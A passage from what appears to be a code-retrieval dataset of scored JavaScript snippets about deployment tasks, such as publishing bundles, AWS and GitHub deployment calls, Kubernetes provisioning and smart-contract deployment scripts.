processArchives[j].getAttribute(\"name\") == process_archive ){\n found = true;\n }\n processes.push(processArchives[j].getAttribute(\"name\"));\n }\n if(!found){\n processApplication[0].appendChild(\n new DOMParser().parseFromString(\n ' <process-archive name=\"'+process_archive+'\">\\n'+\n ' <process-engine>default</process-engine>\\n'+\n ' <properties>\\n'+\n ' <property name=\"history\">full</property>\\n'+\n ' <property name=\"isDeleteUponUndeploy\">false</property>\\n'+\n ' <property name=\"isScanForProcessDefinitions\">true</property>\\n'+\n ' </properties>\\n'+\n ' </process-archive>\\n\\n')\n );\n var xml_processes = serializer.serializeToString(doc);\n self.fs.copyTpl(\n self.templatePath('blank_file.txt'),\n self.destinationPath(processesFilePath),\n {\n content: xml_processes\n }\n );\n }\n done();\n });\n }else{\n self.fs.copyTpl(\n self.templatePath('processes.xml'),\n self.destinationPath(processesFilePath),\n {\n processes: [process_archive],\n applicationName: self.config.get('applicationName'),\n applicationClassName: self.config.get('applicationClassName')\n }\n );\n done();\n }\n\n //BPMN FILE\n utils.add_xmlns_camunda(self.doc);\n var xml_bpmn = serializer.serializeToString(self.doc);\n if(!self.fs.exists(self.destinationPath(\"src/main/resources/\"+self.config.get('bpmFile'))) ){\n if(self.fs.exists(self.destinationPath(self.config.get('bpmFile')))){\n fs.unlink(self.destinationPath(self.config.get('bpmFile')));\n this.log(yosay(chalk.yellow(\"The bpmn file was moved to src/main/resources/\"+this.config.get(\"bpmFile\")+\", :)\")))\n }\n }\n self.fs.copyTpl(\n self.templatePath('blank_file.txt'),\n self.destinationPath(self.destinationPath(\"src/main/resources/\"+self.config.get('bpmFile'))),\n {\n content: xml_bpmn\n }\n );\n //Package json\n self.fs.copyTpl(\n self.templatePath('package.json'),\n self.destinationPath('package.json'),\n {\n localPath: self.destinationPath(),\n groupId : self.config.get('groupId'),\n artifactId : self.config.get('artifactId'),\n applicationName: self.config.get('applicationName')\n }\n );\n\n //Middleware Auth\n self.fs.copyTpl(\n self.templatePath('MiddlewareAuth.java'),\n self.destinationPath(\"src/main/java/org/camunda/auth/\"+'MiddlewareAuth.java'),\n {\n localPath: self.destinationPath(),\n groupId : self.config.get('groupId'),\n artifactId : self.config.get('artifactId'),\n applicationName: self.config.get('applicationName')\n }\n );\n };\n\n self.appStaticFiles();\n }", "title": "" }, { "docid": "35349af87d60bfaedbb1675f98200134", "score": "0.502073", "text": "function postZippedBundle() {\n const FormData = require('form-data');\n\n logTaskStart(`attempt publish to server \"${deployTo}\"`);\n\n const form = new FormData();\n form.append('file', fs.createReadStream(`${paths.idsWebsite.dist}.zip`));\n form.append('root_path', `ids-enterprise/${packageJson.version}`);\n form.append('post_auth_key', process.env.DOCS_API_KEY ? process.env.DOCS_API_KEY : '');\n form.submit(serverURIs[deployTo], (err, res) => {\n logTaskEnd(`attempt publish to server \"${deployTo}\"`);\n if (err) {\n console.error(err);\n logTaskAction('Failed!', `Status ${err}`, false, 'red');\n } else {\n if (res.statusCode === 200) {\n logTaskAction('Success', `to \"${serverURIs[deployTo]}\"`);\n } else {\n logTaskAction('Failed!', `Status ${res.statusCode}: ${res.statusMessage}`, false, 'red');\n }\n res.resume();\n numArchivesSent++;\n statsConclusion();\n }\n });\n}", "title": "" }, { "docid": "fd8664c86d57d1395502e439634cd51a", "score": "0.5020591", "text": "function createDeployment(restApiId, stageName) {\n var params = {\n restApiId,\n /* required */\n stageName\n };\n return ApiGateway.createDeployment(params).promise();\n}", "title": "" }, { "docid": "3474c192c1c82b158f1616c84aa16622", "score": "0.50171787", "text": "handleDeploySample() {\n this.setState({ deploying: true });\n const promisedSampleAPI = this.createSampleAPI();\n promisedSampleAPI\n .then((sampleAPI) => {\n sampleAPI\n .publish()\n .then(() => {\n const message = 'Pet-Store API Published successfully';\n this.setState({ published: true, api: sampleAPI });\n Alert.info(message);\n })\n .catch((error) => {\n console.error(error);\n this.setState({ deploying: false });\n Alert.error(error);\n });\n });\n }", "title": "" }, { "docid": "b06948fef5e4b85f7fc3dd35fba536a6", "score": "0.5017075", "text": "function submitDeploy(e) {\n\te.preventDefault();\n\tcreateWallet(privateKeyTerm.value);\n\t// Create an instance of a Contract Factory\n\tvar factory = new ethers.ContractFactory(abi, bytecode.object, wallet);\n\tfactory.deploy().then(async contract => {\n\t\tawait contract.deployed();\n\t\tconsole.log(\"Deployed...\");\n\t\tcontractAddress = contract.address;\n\t\tvar contract = new ethers.Contract(contractAddress, abi, provider);\n\t\tcontractWithSigner = contract.connect(wallet);\n\t\tbidderRegisteredCount = 0\n\t});\n}", "title": "" }, { "docid": "9cdc8c0652cad0c9bd3ee2509c15bd3f", "score": "0.5015183", "text": "function deploy(term, seed) {\n //TODO since registry lookups only happen at the topmost level\n // in rhoxy, handle them here, then move on the parIn\n\n // TODO eventually we'll want to hash the seed, but for now it's useful\n // to manually assign ids.\n return parIn(term, {}, seed);\n }", "title": "" }, { "docid": "710cf9f829f4747f9121bc374ca7c12b", "score": "0.5012148", "text": "function init(name){\n var deployPath = path.join(process.cwd(), \"deploy.json\");\n // console.log(\"shell\", __dirname, process.argv, process.cwd(), deployPath);\n if(!fs.existsSync(deployPath)){\n exit();\n }\n\n var deploy = JSON.parse(file.read(deployPath));\n var actions = deploy.actions;\n // console.log(\"obj\", actions);\n \n var action;\n typeof actions == \"object\" && actions.map(function(item, index){ \n if(item != null && item[\"name\"] == name){\n action = item;\n }\n })\n\n\n if(typeof action != \"object\"){\n shell.echo(\"未找到相关发布脚本\");\n return;\n }\n\n action.steps.map(function(step){\n operate(step);\n });\n}", "title": "" }, { "docid": "c32fdb83ba47411110ef83e10cb80d34", "score": "0.50002545", "text": "function pushResources(options, req, res) {\n if (res.push && options.protocol === 'h2' && options.pushManifestPath &&\n !req.get('x-is-push')) {\n // TODO: Handle preload link headers\n const pushManifest = getPushManifest(options.root, options.pushManifestPath);\n const resources = pushManifest[req.path];\n if (resources) {\n const root = options.root;\n for (const filename of Object.keys(resources)) {\n const stream = res.push(filename, {\n request: { accept: '*/*' },\n response: {\n 'content-type': mime.lookup(filename),\n // Add an X-header to the pushed request so we don't trigger\n // pushes for pushes\n 'x-is-push': 'true'\n }\n })\n .on('error', (err) => console.error('failed to push', filename, err));\n fs.createReadStream(path.join(root, filename)).pipe(stream);\n }\n }\n }\n}", "title": "" }, { "docid": "bad38b06af651b6d395bd18d284cdc88", "score": "0.49980232", "text": "function uploadUIAssets(event) {\n console.log(\"In uploadUIAssets :%s\", SourceUIFilePath);\n // get the zip file containing the Demo UI\n return S3.getObject({ Bucket: SourceFileBucket, Key: SourceUIFilePath }).promise()\n .then(data => {\n let zip = new AdmZip(data.Body);\n let zipEntries = zip.getEntries();\n\n // extract the zip contents in the S3 bucket\n zipEntries.forEach(function(zipEntry) {\n\n if (!zipEntry.isDirectory) {\n let mimeType = mime.getType(zipEntry.name.substring(zipEntry.name.lastIndexOf(\".\")));\n let fileContents = zipEntry.getData();\n if ((zipEntry.entryName.includes(\"js/config.js\"))) {\n // replace the placeholder with values from the current deployment\n // fileContents = fileContents.toString().replace('DELIVERY_STREAM_NAME', event.ResourceProperties.DeliveryStreamName);\n fileContents = fileContents.toString();\n fileContents = fileContents.replace('PLAYER_SUMMARY_ENDPOINT', PlayerSummaryEndpoint);\n fileContents = fileContents.replace('ANSWER_SUMMARY_ENDPOINT', AnswerSummaryEndpoint);\n fileContents = fileContents.replace('PLAYBACK_URLS', Playback_URL);\n }\n\n S3.putObject({\n Body: fileContents,\n Bucket: SourceBucket,\n Key: UIPrefix + \"/\" + zipEntry.entryName,\n ContentType: mimeType\n }).promise()\n .catch(() => { console.log(\"Exception while uploading the file into S3 bucket\") });\n }\n });\n console.log(\"Done uploading UI\");\n });\n}", "title": "" }, { "docid": "1b0b21a064eef1a99c2cd0c78a9c61b0", "score": "0.49679106", "text": "resources() {\n return __awaiter(this, void 0, void 0, function* () {\n yield this.ensureResolved();\n return yield AwsApi_1.AwsApi.cloudFormation(this.config()).listStackResources(this.stackName);\n });\n }", "title": "" }, { "docid": "9ead7dceefc444b3d8acbe1714cc36e4", "score": "0.4965906", "text": "async unpackAndStart() {\n const context = this.context,\n github = this.github,\n core = this.core,\n run = process.env.GITHUB_RUN_ID,\n log_url = `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${run}`;\n\n const deployment = context.payload.deployment,\n environment = deployment.environment,\n deploymentPayload = JSON.parse(deployment.payload);\n\n core.setOutput('app_container_image', deploymentPayload.app_container.image);\n core.setOutput('app_container_version', deploymentPayload.app_container.version);\n core.setOutput('app_container_image_collapsed', cleanContainerImageName(deploymentPayload.app_container.image));\n\n core.setOutput('database_container_image', deploymentPayload.database_container.image);\n core.setOutput('database_container_version', deploymentPayload.database_container.version);\n core.setOutput('database_container_image_collapsed', cleanContainerImageName(deploymentPayload.database_container.image));\n\n core.setOutput('deployment_sha', deploymentPayload.sha);\n core.setOutput('deployment_github_ref', deploymentPayload.ref);\n\n core.setOutput('environment', environment);\n\n core.setOutput('container_registry', deploymentPayload.container_registry);\n\n\n\n github.repos.createDeploymentStatus({\n ...this.context.repo,\n mediaType: {\n previews: [\"flash-preview\", \"ant-man\"]\n },\n deployment_id: context.payload.deployment.id,\n state: 'in_progress',\n description: 'Deployment from GitHub Actions started',\n target_url: log_url,\n log_url: log_url\n });\n }", "title": "" }, { "docid": "9c82b4cf9f8dee6cbefe937b22e8c596", "score": "0.49649784", "text": "_copyResourceFiles () {\n let self = this\n this.api.utils.copyFile(`${self.staticFolder}/reset.css`, `${self.docsFolder}/reset.css`)\n this.api.utils.copyFile(`${self.staticFolder}/style.css`, `${self.docsFolder}/style.css`)\n this.api.utils.copyFile(`${self.staticFolder}/highlight.js`, `${self.docsFolder}/highlight.js`)\n }", "title": "" }, { "docid": "728f0020dbabe189c38264a1fba27edd", "score": "0.4954776", "text": "async function createLocalBundle(vats, devices) {\n // This will eventually be a vat spawning service. Only needed by dev\n // environments.\n const spawner = E(vats.host).makeHost();\n\n // Needed for DApps, maybe for user clients.\n const uploads = E(vats.uploads).getUploads();\n\n // Only create the plugin manager if the device exists.\n let plugin;\n if (devices.plugin) {\n plugin = makePluginManager(devices.plugin, vatPowers);\n }\n\n // This will allow dApp developers to register in their api/deploy.js\n const httpRegCallback = Far('httpRegCallback', {\n doneLoading(subsystems) {\n return E(vats.http).doneLoading(subsystems);\n },\n send(obj, connectionHandles) {\n return E(vats.http).send(obj, connectionHandles);\n },\n registerURLHandler(handler, path) {\n return E(vats.http).registerURLHandler(handler, path);\n },\n registerAPIHandler(handler) {\n return E(vats.http).registerURLHandler(handler, '/api');\n },\n async registerWallet(wallet, privateWallet, privateWalletBridge) {\n await Promise.all([\n E(vats.http).registerURLHandler(privateWallet, '/private/wallet'),\n E(vats.http).registerURLHandler(\n privateWalletBridge,\n '/private/wallet-bridge',\n ),\n E(vats.http).setWallet(wallet),\n ]);\n },\n });\n\n return allComparable(\n harden({\n ...(plugin ? { plugin } : {}),\n // TODO: Our preferred name is \"scratch\", but there are many Dapps\n // that use \"uploads\".\n scratch: uploads,\n uploads,\n spawner,\n network: vats.network,\n http: httpRegCallback,\n vattp: makeVattpFrom(vats),\n }),\n );\n }", "title": "" }, { "docid": "17bdbd584d000ee37f3006150a017ca4", "score": "0.49415874", "text": "_updateDynamicResources(form, constraintSet) {\n form.get('resources').forEach((line) => {\n if (line.get('length') === 0) {\n return;\n }\n\n const resourceSet = this.get('store').createRecord('resource-set');\n line.forEach((resourceName) => {\n resourceSet\n .get('resources')\n .addObject(this.store.peekRecordQueryName('resource', resourceName));\n });\n constraintSet.get('resourceSets').addObject(resourceSet);\n });\n }", "title": "" }, { "docid": "7e5d17de7e33f078da6fccf1b6bbf917", "score": "0.49414062", "text": "function AdminResourceAssistant() { }", "title": "" }, { "docid": "cbb30729b79298403c0fd652c55d1e3b", "score": "0.49189362", "text": "function main() {\n\tconsole.log(\"Deployment started.\");\n // NOPE! Don't clone anything. Too distructive. Geez...\n // Just jump straight to sshConnect();\n\t// cloneRepo();\n\tsshConnect();\n}", "title": "" }, { "docid": "18fafec4dd9422df145b352355ba3060", "score": "0.49178746", "text": "function provisionTestrig(){\n let timestamp = (new Date()).getTime();\n let testrigId = `testrig${timestamp}`\n let testrigDeploy = JSON.parse(JSON.stringify(deployTemplate));\n testrigDeploy.metadata.name = testrigId;\n testrigDeploy.spec.template.metadata.labels.app = testrigId;\n\n return writeFile(`/tmp/deploy-${testrigId}.json`, JSON.stringify(testrigDeploy), 'utf8').then(() => {\n return exec(`kubectl create -f /tmp/deploy-${testrigId}.json`);\n }).then((res) => {\n if(res.stderr) {\n console.log(res.stderr);\n throw new Error('error occurred provisioning sensor');\n }\n console.log(res.stdout);\n return exposeTestrig(timestamp);\n }).then(() => {\n return timestamp;\n })\n}", "title": "" }, { "docid": "a7104ee04d0e1f34ace52212b32d0485", "score": "0.49112636", "text": "function ZipDeploy() {\n\tthis.destUrl = null;\n\tthis.srcDir = null;\n\tthis.parameters = {};\n}", "title": "" }, { "docid": "bbcbbfdac3beafc883705397e9b28321", "score": "0.49012226", "text": "function releaseFunc() {\n var i = 0;\n\n this.requires('lint');\n\n verifyFiles();\n verifyVersion();\n\n grunt.log.writeln('Copying main folders...');\n\n function recurseFunc(abspath, rootdir, subdir, filename) {\n grunt.file.copy(abspath, svnTrunk + abspath);\n }\n\n //loop into all our folders that we need moving\n for (i; i < aFolders.length; i++) {\n grunt.file.recurse(aFolders[i], recurseFunc);\n }\n\n grunt.log.writeln('Copying top-level files...');\n //copy over all our main files\n for (i = 0; i < aFiles.length; i++) {\n grunt.file.copy(aFiles[i], svnTrunk + aFiles[i]);\n }\n\n //Finally, copy over the wordpress.org assets to the root of the svn repository, one level up from the trunk directory\n grunt.log.writeln('Copying WordPress.org assets folder...');\n grunt.file.recurse('assets', function (abspath, rootdir, subdir, filename) {\n grunt.file.copy(abspath, pkg.svnRepository + abspath);\n });\n\n grunt.log.ok(\"Files and folders copied to your local WordPress SVN repository and should be ready to commit and release to WordPress.org.\");\n }", "title": "" }, { "docid": "d1538ebacd8a80ae061a179c2391ea04", "score": "0.48785853", "text": "async function cmd (opts = []) {\n\n // Validate for expected env and args and check for potential creds issues\n validate(opts)\n\n // Pause the Sandbox watcher\n pauser.pause()\n\n // create any missing local infra\n await create({})\n\n // read args into {prune, verbose, production, tags, name, isFullDeploy}\n let args = options(opts)\n\n if (args.isDirty || args.srcDirs.length) {\n let result = await deploy.dirty(args)\n pauser.unpause()\n return result\n }\n\n if (args.isStatic) {\n let result = await deploy.static(args)\n pauser.unpause()\n return result\n }\n\n // deploy with SAM by default..\n let result = await deploy.sam(args)\n pauser.unpause()\n return result\n}", "title": "" }, { "docid": "3c14146260e3b65e719e75001b293bb7", "score": "0.48752627", "text": "async function devDeployOptics(local, remotes, isTestDeploy) {\n const { domain, updater: localUpdaterAddress } = local;\n\n // Deploy UpgradeBeaconController\n // Note: initial owner will be the signer that's deploying\n const upgradeBeaconController = await optics.deployUpgradeBeaconController();\n\n const updaterManager = await deployUpdaterManager(localUpdaterAddress);\n\n // Deploy XAppConnectionManager\n // Note: initial owner will be the signer that's deploying\n const xAppConnectionManager = await deployXAppConnectionManager();\n\n // Deploy Home and setHome on XAppConnectionManager\n const home = await devDeployHome(\n domain,\n upgradeBeaconController,\n updaterManager.address,\n isTestDeploy,\n );\n\n await xAppConnectionManager.setHome(home.proxy.address);\n await updaterManager.setHome(home.proxy.address);\n\n // Deploy GovernanceRouter\n // Note: initial governor will be the signer that's deploying\n const governanceRouter = await devDeployGovernanceRouter(\n domain,\n upgradeBeaconController,\n xAppConnectionManager.address,\n isTestDeploy,\n );\n\n // Deploy Replica Upgrade Setup\n const replicaSetup = await devDeployReplicaUpgradeSetup(\n domain,\n upgradeBeaconController,\n isTestDeploy,\n );\n\n // Deploy Replica Proxies and enroll in XAppConnectionManager\n const replicaProxies = {};\n for (let remote of remotes) {\n const { domain: remoteDomain, watchers } = remote;\n\n const replica = await devDeployReplicaProxy(\n replicaSetup.upgradeBeacon.address,\n remote,\n isTestDeploy,\n );\n\n replicaProxies[remoteDomain] = replica;\n\n // Enroll Replica Proxy on XAppConnectionManager\n await xAppConnectionManager.ownerEnrollReplica(\n replica.proxy.address,\n remoteDomain,\n );\n\n // Add watcher permissions for Replica\n for (let watcher in watchers) {\n await xAppConnectionManager.setWatcherPermission(\n watcher,\n remoteDomain,\n true,\n );\n }\n }\n\n // Delegate permissions to governance router\n await updaterManager.transferOwnership(governanceRouter.proxy.address);\n await xAppConnectionManager.transferOwnership(governanceRouter.proxy.address);\n await upgradeBeaconController.transferOwnership(\n governanceRouter.proxy.address,\n );\n await home.proxyWithImplementation.transferOwnership(\n governanceRouter.proxy.address,\n );\n\n const contracts = {\n upgradeBeaconController,\n xAppConnectionManager,\n governanceRouter,\n updaterManager,\n home,\n replicaSetup,\n replicaProxies,\n };\n\n return contracts;\n}", "title": "" }, { "docid": "679a4249309e9795ba7233a8336d31e2", "score": "0.48745567", "text": "async unpackAndStart() {\n const context = this.context\n , github = this.github\n , core = this.core\n , run = process.env.GITHUB_RUN_ID\n , log_url = `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${run}`\n ;\n\n const deployment = context.payload.deployment\n , environment = deployment.environment\n , deploymentPayload = JSON.parse(deployment.payload)\n , webAppName = `${context.repo.repo}-${environment}`\n ;\n\n core.startGroup('GitHub Context');\n core.info(JSON.stringify(context, null, 2));\n core.endGroup();\n\n core.startGroup('Outputs');\n this.setOutput('app_container_image', deploymentPayload.app_container.image);\n this.setOutput('app_container_version', deploymentPayload.app_container.version);\n\n this.setOutput('deployment_sha', deploymentPayload.sha);\n this.setOutput('deployment_github_ref', deploymentPayload.ref);\n\n this.setOutput('environment', environment);\n this.setOutput('webapp_name', webAppName);\n\n this.setOutput('container_registry', deploymentPayload.container_registry);\n\n this.setOutput('app_type', environment == 'prod' ? 'prod' : 'review');\n this.setOutput('app_slot_name', environment == 'prod' ? 'production' : environment);\n core.endGroup();\n\n github.repos.createDeploymentStatus({\n ...this.context.repo,\n mediaType: {\n previews: [\"flash-preview\", \"ant-man\"]\n },\n deployment_id: context.payload.deployment.id,\n state: 'in_progress',\n description: 'Deployment from GitHub Actions started',\n target_url: log_url,\n log_url: log_url\n });\n }", "title": "" }, { "docid": "9c127ed051702553d29f4132d641a064", "score": "0.48738524", "text": "processUsedResources(resources) {\n resources.forEach((resource) => {\n this.workspaceUsedResources.set(resource.workspaceId, resource.memory.toFixed(2));\n });\n }", "title": "" }, { "docid": "c30926e2d4dd0891e0b98c2e196f2ef4", "score": "0.4828018", "text": "finishDeploy(targetUrl) {\n return this.createStatus({\n state: 'success',\n description: 'deployed',\n targetUrl\n });\n }", "title": "" }, { "docid": "98ed98396b3ebeac5dabc46542668e1e", "score": "0.48007518", "text": "start () {\n return this.constructor.instanceResourceRequest({\n method: 'PUT',\n url: [basePath, this.get('id'), 'actions/start'].join('/')\n })\n .then(InstanceModel.instantiate)\n .catch((err) => {\n console.log('err', err)\n })\n }", "title": "" }, { "docid": "9658cb2410ed87d3c417d21ae116c7a4", "score": "0.47822303", "text": "async publish(which, exec) {\n const galaxyCommandPath = await which('ansible-galaxy', true);\n // If a custom directory is passed in, use that. Otherwise, do not specify a custom location.\n await exec(`${galaxyCommandPath} collection build ${this.path}`);\n return exec(`${galaxyCommandPath} collection publish ${this}.tar.gz --api-key=${this.apiKey}`);\n }", "title": "" }, { "docid": "de77d22078a7a2511d890336279eb062", "score": "0.47821966", "text": "function transferAsset(req, res, next) {\n\n}", "title": "" }, { "docid": "6b380007c61725046a3f35dd843d5d9f", "score": "0.47801068", "text": "static async createAsset(req, res, next) {\n const { app, accessToken, body, query } = req;\n\n try {\n const deploy = app.get(\"deploy\");\n const dapp = await dappJs.bind(accessToken, deploy.contract);\n\n const args = { ...body.asset };\n\n if (\n !Array.isArray(args.keys) ||\n !Array.isArray(args.values) ||\n args.keys.length !== args.values.length\n ) {\n rest.response.status400(res, \"Missing spec or bad spec format\");\n return next();\n }\n\n const asset = await dapp.createAsset(args);\n rest.response.status200(res, asset);\n } catch (e) {\n next(e);\n }\n }", "title": "" }, { "docid": "6658389f8038a44df4bb900f9b130ae7", "score": "0.47569716", "text": "function _addStage(funcParamObj,onExecuteComplete){\r\n\r\n /** default object content of an operation */\r\n var operationObj = funcParamObj.operationRef;\r\n var httpRequest = funcParamObj.request;\r\n var httpResponse = funcParamObj.response;\r\n var data = funcParamObj.payload;\r\n\r\n /** operation configuration */\r\n var pipelineFieldName = operationObj.conf['params.payload.pipelinename'] ? operationObj.conf['params.payload.pipelinename'] : 'pipeline';\r\n var projectionFromConf = operationObj.conf['params.projection'];\r\n var projectionFromPayloadField = operationObj.conf['params.payload.projection.field'];\r\n var projectionFromPayloadArray = operationObj.conf['params.payload.projection.array'];\r\n\r\n try {\r\n\r\n // containers\r\n var pipelineArray = data[pipelineFieldName];\r\n var projectStage = {};\r\n var projectSubStage = {};\r\n\r\n // get projection\r\n if(projectionFromConf){\r\n // configuration-time projection\r\n projectSubStage = JSON.parse(projectionFromConf,__SpecialJsonParserReviver);\r\n }else if(projectionFromPayloadField){\r\n // explicit field with all projection\r\n projectSubStage = data[projectionFromPayloadField];\r\n }else if(projectionFromPayloadArray){\r\n // array of field names with projection\r\n var fieldArray = data[projectionFromPayloadArray];\r\n if(!underscore.isArray(fieldArray) && !underscore.isEmpty(fieldArray)){\r\n fieldArray = fieldArray.split(',');\r\n }\r\n for(var i in fieldArray){\r\n projectSubStage[fieldArray[i]] = true;\r\n }\r\n }\r\n\r\n if(!underscore.isEmpty(projectSubStage)) {\r\n // create the stage\r\n projectStage['$project'] = projectSubStage;\r\n\r\n // build up togheter\r\n if (!pipelineArray) {\r\n pipelineArray = [];\r\n }\r\n pipelineArray[pipelineArray.length] = projectStage;\r\n data[pipelineFieldName] = pipelineArray;\r\n }\r\n\r\n /** callback with funcParamObj updated - maybe */\r\n funcParamObj.payload = data;\r\n onExecuteComplete(null, funcParamObj);\r\n\r\n }catch(error){\r\n\r\n /** dispatch the error to the next op in chain */\r\n onExecuteComplete(error,funcParamObj);\r\n\r\n }\r\n}", "title": "" }, { "docid": "32b6516c82f982753f619e783890629a", "score": "0.47566733", "text": "enterResource(ctx) {\n\t}", "title": "" }, { "docid": "1881581f6c1278e6c41d381b0f08799f", "score": "0.47512418", "text": "prepareTemplate() {\n // latest version of serverless\n const plugin = this.getPlugin(\"AwsPackage\");\n if (!plugin) {\n throw new Error(\"Could not find AwsDeploy plugin\");\n }\n\n this.serverless.cli.log(\"Preparing original CloudFormation template\");\n \n this.serverless.variables.populateService(this.serverless.pluginManager.cliOptions);\n\n return new BbPromise.bind(plugin)\n .then(plugin.generateCoreTemplate)\n .then(plugin.mergeIamTemplates)\n .then(plugin.generateArtifactDirectoryName)\n .then(plugin.mergeCustomProviderResources)\n .then(plugin.saveServiceState)\n .then(plugin.saveCompiledTemplate);\n /*const plugin = this.getPlugin(\"AwsDeploy\");\n if (!plugin) {\n throw new Error(\"Could not find AwsDeploy plugin\");\n }\n\n this.serverless.cli.log(\"Preparing original CloudFormation template\");\n \n this.serverless.variables.populateService(this.serverless.pluginManager.cliOptions);\n\n return new BbPromise.bind(plugin)\n .then(plugin.validate)\n .then(plugin.configureStack)\n .then(plugin.mergeIamTemplates)\n .then(plugin.generateArtifactDirectoryName)\n .then(plugin.mergeCustomProviderResources);*/\n }", "title": "" }, { "docid": "1c76d4917ea9f24597577737fbed5b3b", "score": "0.4740541", "text": "function resourceToFiles (path, resource, cb) {\n var fs = require('fs');\n var mkdirp = require('mkdirp');\n var ext = extensions[resource.language];\n // create directory for cloned service ( if it doesnt exist )\n // TODO: ensure all properties are copies from cloud version\n resource.pkg = resource.pkg || {\n name: resource.name,\n version: \"1.0.0\", // TODO: resource.version instead\n description: \"this is the description\",\n main: \"index\" + ext, // TODO: dynamic input type on language\n scripts: {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"microcule index\" + ext\n },\n author: config.user, // TODO: switch to config local user or remove for API key\n dependencies: {\n \"microcule\": \"*\"\n },\n license: \"MIT\"\n };\n // cloned package should be owned by current user\n resource.pkg.author = config.user;\n // console.log(resource);\n // TODO: move create service code into seperate module\n\n // check to to see if the path we are attempting to write to doesn't exist,\n // if it exists, throw error and don't allow overwriting of directory\n var stat;\n\n try {\n stat = fs.statSync(path);\n } catch (err) {\n }\n\n if (stat) {\n throw new Error(path + ' already exist. aborting.');\n }\n\n return mkdirp(path, function(err, result){\n // write package.json\n fs.writeFile(path + '/package.json', JSON.stringify(resource.pkg, true, 2), function (err, stat) {\n if (err) {\n return cb(err);\n }\n // write source code\n fs.writeFile(path + '/index' + ext, resource.source, function (err, stat) {\n if (err) {\n return cb(err);\n }\n\n if (resource.themeSource) {\n // write service schema file\n fs.writeFileSync(path + \"/view.html\", resource.themeSource);\n // write service view file\n }\n\n if (resource.mschema) {\n fs.writeFileSync(path + \"/schema.js\", 'module.exports = ' + JSON.stringify(resource.mschema, true, 2));\n }\n\n if (resource.presenterSource) {\n fs.writeFileSync(path + \"/presenter.js\", 'module.exports = ' + resource.presenterSource);\n }\n\n cb(err, result);\n\n });\n });\n });\n\n}", "title": "" }, { "docid": "477ab2b8aff292cc70e3a1ebfbbb9ed9", "score": "0.47360837", "text": "function clean_deploy()\n{\n return del([\n `./pkg/staticresources/*.zip`\n ]);\n}", "title": "" }, { "docid": "3026407839c598e297a66fa09978459c", "score": "0.47304747", "text": "addResources(loadables) {\n let i = 0;\n const len = loadables.length;\n for (i; i < len; i++) {\n this.addResource(loadables[i]);\n }\n }", "title": "" }, { "docid": "925713e2027471762aa632cd5e96101c", "score": "0.47236934", "text": "function deploy_IP()\n{\n return deploy('IP');\n}", "title": "" }, { "docid": "235f1014cd29873533b1f1b0ab1bf12c", "score": "0.47229204", "text": "function onAssetInitialization(context) {\n\n log.debug('loading ' + context.bundle.getName() + ' configuration data');\n\n //obtain the configuration file\n var xmlConfig = context.bundle.get({extension: 'xml'}).result();\n\n if (!xmlConfig) {\n log.debug('configuration file for ' + context.bundle.getName() + 'could not be found.');\n return;\n }\n\n //Read the contents\n var xmlContent = xmlConfig.getContents();\n var removedContent = xmlContent.replace(/^\\s*<\\?.*\\?>\\s*/, \"\");\n var xml = new XML(removedContent);\n var path = context.httpContext + '/' + context.bundle.getName() + '/';\n\n //Create the deployment object\n var artifact = {};\n\n var now =new String(new Date().valueOf());\n var length = now.length;\n var prefix = 20;\n var onsetVal = '';\n if(length != prefix){\n var onset = prefix - length;\n for(var i = 0; i < onset; i++){\n onsetVal+='0';\n }\n }\n now = onsetVal+now;\n\n\n artifact['attributes'] = {};\n\n //Fill the attributes\n artifact['name'] = xml.*::ModulePrefs.@title;\n artifact['attributes']['overview_name'] = xml.*::ModulePrefs.@title;\n artifact['attributes']['overview_provider'] = 'admin';\n artifact['attributes']['overview_version'] = '1.0.0';\n artifact['attributes']['overview_description'] = xml.*::ModulePrefs.@description;\n artifact['attributes']['overview_category'] = xml.*::ModulePrefs.@category;\n artifact['attributes']['overview_url'] = path + context.bundle.getName() + '.xml';\n artifact['attributes']['overview_location'] = '/config/defaults/gadgets/' + context.bundle.getName();\n //artifact['attributes']['images_thumbnail'] = path + 'thumbnail.jpg';\n //artifact['attributes']['images_banner'] = path + 'banner.jpg';\n\n artifact['attributes']['images_thumbnail'] = context.assetPath +context.bundle.getName()+ '/thumbnail.jpg';\n artifact['attributes']['images_banner'] = context.assetPath + context.bundle.getName()+'/banner.jpg';\n artifact['attributes']['overview_createdtime'] = now;\n //TODO : fix following paths to have proper urls\n log.info(context.bundle.getName() + ' >>>> ' + artifact.name);\n artifact['attributes']['overview_dataformat'] = '/config/defaults/gadgets/' + context.bundle.getName() + '/datasource/data-format.json';\n artifact['attributes']['overview_chartoptions'] = '/config/defaults/gadgets/' + context.bundle.getName() + '/config/chart-options.json';\n\n\n\n //Set the tags\n context['tags'] = (String(xml.*::ModulePrefs.@tags)).split(',');\n\n\n //Set the ratings\n context['rate'] = Math.floor(Math.random() * 5) + 1;\n\n context['artifact'] = artifact;\n context['path'] = '/_system/governance/gadgets/' + artifact.attributes.overview_provider +\n '/' + artifact.attributes.overview_name + '/' + artifact.attributes.overview_version;\n\n\n }", "title": "" }, { "docid": "f00d9bb1793012d00500dc1b2ec1b159", "score": "0.47148144", "text": "function deployTaskFactory(subdir, override = {}) {\n return Object.assign({\n cwd: `<%= staticRoot %>/${subdir}/`, // set working folder / root to copy\n dest: `<%= deployPath %>/${subdir}/`, // destination folder\n src: '**/*', // copy all files and subfolders\n expand: true, // required when using cwd\n }, override);\n}", "title": "" }, { "docid": "bba25d9ec3db2675ee4012cdb86fe92a", "score": "0.47133103", "text": "async function deploy() {\n // Impersonate Binance\n await hre.network.provider.request({\n method: \"hardhat_impersonateAccount\",\n params: [Binance],\n });\n const binanceSigner = await ethers.provider.getSigner(Binance);\n\n // Fund each used wallet with 100 ETH\n await binanceSigner.sendTransaction({\n to: adminWallet,\n value: ethers.utils.parseEther(\"100.0\"),\n });\n await binanceSigner.sendTransaction({\n to: ENSHolder,\n value: ethers.utils.parseEther(\"100.0\"),\n });\n await binanceSigner.sendTransaction({\n to: ENSBeneficiary,\n value: ethers.utils.parseEther(\"100.0\"),\n });\n\n // Stop impersonating Binance and start impersonating admin\n await hre.network.provider.request({\n method: \"hardhat_stopImpersonatingAccount\",\n params: [Binance],\n });\n await hre.network.provider.request({\n method: \"hardhat_impersonateAccount\",\n params: [adminWallet],\n });\n const adminSigner = await ethers.provider.getSigner(adminWallet);\n\n // Deploy Lootbox contract w/ admin wallet\n const ENSLootbox = await ethers.getContractFactory(\"ENSLootbox\");\n const 